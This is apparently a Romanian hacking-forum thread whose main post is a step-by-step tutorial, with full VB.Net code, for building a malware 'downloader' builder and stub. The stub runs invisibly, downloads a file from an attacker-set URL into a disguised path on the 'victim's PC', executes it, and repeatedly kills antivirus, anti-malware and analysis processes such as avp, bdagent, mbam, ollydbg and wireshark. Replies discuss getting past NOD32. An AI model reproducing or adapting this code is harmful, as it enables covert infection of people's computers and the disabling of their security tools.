Jump to content
vLaDdO96

[Tut] Downloader builder+stub + killProc

Recommended Posts

Posted (edited)

Aici, acum, in momentul de fata si in topicul respectiv o sa va arat cum putem face un downloader + functia de process kill.

Partea I.

[ I ] Mai intai sa explic ce face fiecare.

1. Downloaderul - este format din doua executabile - un builder si un stub (cateodata builderul este si pe post de stub). Ce face fiecare lucru in parte ?

- Builder-ul : introducem datele necesare cum ar fi :

52783719.png

a) URL-ul fisierului respectiv gen http://www.exemplu.ro/fisier.exe (de retinut ca de obicei nu conteaza extensia fisierului, atata timp cat este salvat in PC-ul victimei cu aceeasi extensie).

71823726.png

B) path-ul fisierului - unde sa fie salvat fisierul in PC-ul victimei. Exemplu : C:\Windows\Boot\scr32.exe - folositi un nume care nu bate la ochi gen 'jocuri_miniclip.exe'.

76076407.png

c) numele fisierului - aici introduceti numele fisierului care va fi salvat in PC-ul victimei.

- Stub-ul : este un fisier continand o bucata de cod, pe care o vom folosi in crearea fisierului rezultat, utilizand si datele introduse in builder.

* de obicei, stub-urile sunt invizibile (opacity = 0%), nu apar in Taskbar [pentru necunoscatori > bara ce contine butonul Start (Windows) si cea cu butonul catre meniu (Linux - scuzati exprimarea greoaie, nu sunt utilizator)], si (majoritatea) apar in Task Manager la tab-ul Processes

Deci ce face downloader-ul pana la urma ? Inchide antivirusul prin process killing (inchide procesul cu numele antivirusului), descarca fisierul introdus de voi si intr-un final in porneste. Simplu !

[ II ] Acum sa trecem la partea de codare !

1. Builder-ul.

a) cream un form.

35047517.png

B) adaugam trei Label-uri*), trei Textbox-uri si un Button.

*) - optional

* asezarea lor depinde de voi.

32442547.png

c) scrierea + explicarea codului (na ca am ajuns si aici)

i) deasupra [Public class Form1] introducem codul urmator :

Imports System.IO

- ce face acest cod ? acest cod ne este necesar in VB.Net atunci cand folosim File Handling-ul - atunci cand scriem fisiere (modificarea Stub-ului).

ii) sub [Public class Form1] introducem codul urmator :

Dim stub, text1, text2, text3 As String
Const Filesplit = "*pr00f*"

- codul "Dim" ne ajuta la declararea variabilelor "stub", "text1", "text2" si "text3" - fara aceasta declaratie nu am putea folosi expresia de "stub" sau "text1", etc, fara intampinarea unei erori.

- codul "Const Filesplit" ne ajuta sa declaram o constanta

- fragmentul "= "*pr00f*"" a folosit la declararea constantei "Filesplit".

Asadar, va arata cam asa codul pana acum :

93804619.png

iii) click pe Button1

iv) adaugam simplu, codul urmator

text1 = TextBox1.Text
text2 = TextBox2.Text
text3 = TextBox3.Text

- aici, variabilele declarate la inceputul Form-ului, sunt folosite pentru a 'egala' fiecare "text" cu Textbox-ul lui.

v) sub codul de mai devreme, adaugam urmatorul :

 Try
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
Catch stubload As Exception

End Try

- codul Try / End Try la propriu 'incearca' sa faca codul introdus in el.

- codul "FileOpen" deschide fisierul "Stub.exe" in modul binar (OpenMode.Binary), cu accesul de Read (OpenAccess.Read - il citeste).

- variabila "stub" declarata la inceput, este 'egalata' si ea, aici.

vi) introducem codul :

FileGet(1, stub)
FileClose(1)

- "FileGet" obtine fisierul

- "FileClose" il inchide.

vii) in cazul in care deja exista un fisier cu numele celui build-at (facut) - pasul urmator - si daca vrem (si da, vrem) introducem codul urmator :

If File.Exists("Downloader server.exe") Then
My.Computer.FileSystem.DeleteFile("Downloader server.exe")
End If

- declaratia If / End If ne ajuta sa folosim un cod daca ceva este cum precizam noi. in cazul de fata, daca fisierul "Downloader server.exe" exista ( File.Exists ), atunci sterge fisierul deja existent [ My.Computer.FileSystem.DeleteFile("Downloader server.exe") ] .

viii) ultimul pas si cel mai important - deschiderea fisierului creat - Downloader server.exe - si scrierea lui.

FileOpen(1, Application.StartupPath & "\Downloader server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & Filesplit & text1 & Filesplit & text2 & Filesplit & text3 & Filesplit)
FileClose(1)
MsgBox("Downloader server built successfully.", MsgBoxStyle.Information)

- "FileOpen" deschide fisierul scris, in modul binar, de data aceasta cu acces de citit si scris.

- "FilePut" introduce stub-ul, filesplit-ul si variabilele "text"

builderfinal.png

Felicitari, sunteti gata cu builderul !

Partea II.

[ I ] Stub-ul

1. Creeam un form (bineinteles, mai intai un nou proiect)

98422220.png

2. In dreapta, la proprietatile Form-ului, setam Opacity - 0% si Show in Taskbar - False

42497307.png

3. Introduceti un Timer.

4. Coding.

a) dublu click pe Form.

B) ca la Builder, prima linie a codului trebuie sa fie urmatoarea :

Imports System.IO

- am explicat-o mai sus, daca nu stiti ce face, cititi acolo.

c) sub "Public Class Form1" introducem :

Dim options(), text1, text2, text3 As String
Const Filesplit = "*pr00f*"

- acum observam ca ne lipseste variabila "stub", deoarece nu mai avem nevoie de ea, dar ne-a aparut variabila "options()"

- asigurati-va ca filesplit-ul sa fie identic cu cel de la builder - altfel n-o sa va mearga !

d) la Form1_Load introducem urmatoarele :

Me.Visible = False
Me.Hide()

- aici ne asiguram ca Form-ul stub-ului nu o sa fie vizibil

- chiar daca Form-ul nu este vizibil, facem stub-ul sa dispara, la propriu prin comanda "Me.Hide".

e) pornim timer-ul :

Timer1.Start

- nu necesita explicatie codul asta

f) deschidem fisierul :

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

- codul "FileOpen" este explicat mai sus, la fel, recititi in caz ca ati uitat ce face.

g) folosim variabilele si obtinem fisierul :

text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
FileGet(1, text1) 'options(1) - Textbox1
ileGet(1, text2) 'options(2) - Textbox2
FileClose(1)

- variabilele in continuare vor fi folosite in ordinea in care sunt 'egalate'

- am uitat sa precizez ce face comanda "Space(LOF(1))" - este necesara citirii / scrierii fisierelor in modul binar.

h) 'egalarea' variabilei "options()" :

options = Split(text1, Filesplit)
FileClose(1)

i) acum, codul necesar unui downloader :

My.Computer.Network.DownloadFile(options(1), options(2) & options(3))
Process.Start(options(2) & options(3))

- "My.Computer.Network.DownloadFile" - cu un pic de engleza ne dam seama ca aceasta este comanda vitala - descarca fisierul.

- "(options(1), options(2) & options(3))" : options(1) este URL-ul de unde va descarca fisierul, options(2) este path-ul unde va fi descarcat fisierul, iar options(3) este numele fisierului.

j) crearea unui nou Sub. umm, crearea unei noi comenzi, sa fiu mai explicit. intre End Sub-ul de la Form1_Load si End Class, introducem codul urmator :

Public Sub killProcess(ByRef strProcessToKill As String)
Dim proc() As Process = Process.GetProcesses
For i As Integer = 0 To proc.GetUpperBound(0)
If proc(i).ProcessName = strProcessToKill Then
proc(i).Kill()
End If
Next
End Sub

- Public Sub declara o noua comanda - "killProcess"

- "Dim proc() As Process = Process.GetProcesses" : declaram proc() ca fiind proces, egalat cu Process.GetProcesses, care obtine procesele.

- "proc.GetUpperBound" : formeaza un array (o lista) cu procesele.

- "If proc(i).ProcessName = strProcessToKill" : selectarea procesului pentru inchidere

- "proc(i).Kill()" : inchiderea procesului in sine.

k) asigurati-va ca Timer1 are un interval destul de mic (1 - 10 milisecunde), pentru a fi mai eficace. dublu-click pe dansul (Timer1) si introduceti codul urmator :

killProcess("keyscrambler")
killProcess("egui")
killProcess("bdagent")
killProcess("outpost")
killProcess("npfmsg")
killProcess("ollydbg")
killProcess("avp")
killProcess("mbam")
killProcess("anubis")
killProcess("wireshark")

- dupa cum vedeti, acestea sunt numele catorva antivirusi / software-uri antimalware ca Keyscrambler, MalwareBytes' AntiMalware si Wireshark.

- de retinut : la fiecare 1 milisecunda (sau ce interval ati pus voi la Timer), acel Timer va inchide procesele respective din lista.

49722028.png

37335781.png

81623371.png

Felicitari, sunteti gata si cu Stub-ul !

© pr00f = eu

Edited by vLaDdO96
  • Upvote 1
Posted

foarte bine explicat tutorialul ^_^ si cam greu sa ii fentezi pe cei care au nod32 pentru ca processul ekrn nu merge inchis :D am incercat mai demult sa il inchid si nu mergea :D deci la cei cu nod32 nu are sa mearga faza

Posted

culmea, sunt utilizator al NOD32-ului doar ca sunt posesor ar Smart Security-ului 4 (antivirus + firewall + functii smechere, uu) , nu numai al av-ului, si sunt cateva chestii - nu am ekrn.exe la procese (il aveam cand aveam doar antivir) DAR (intotdeauna este un 'dar') chiar daca inchid procesul, inca detecteaza fisierele infectate. o sa caut o modalitate sa inchid procesul in totalitate.

Posted (edited)

da, ce explicatie sa va dau ? ala sunt eu. vreti sa dau edit la post acolo sa vedeti ca eu sunt ?

edit : am dat edit la postul acela de pe tbo-s

edit 2 : cititi si aici

Edited by vLaDdO96
Posted
Esti un fel de vedeta locala ? Care-i treaba cu useru schimbat ca nu inteleg ?

nu, nu sunt nici un fel de vedeta, doar ca vroiam sa scap de acel nume. era vechi, si prea copilaros. prea Le3t. de aceea am schimbat nickname-ul.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...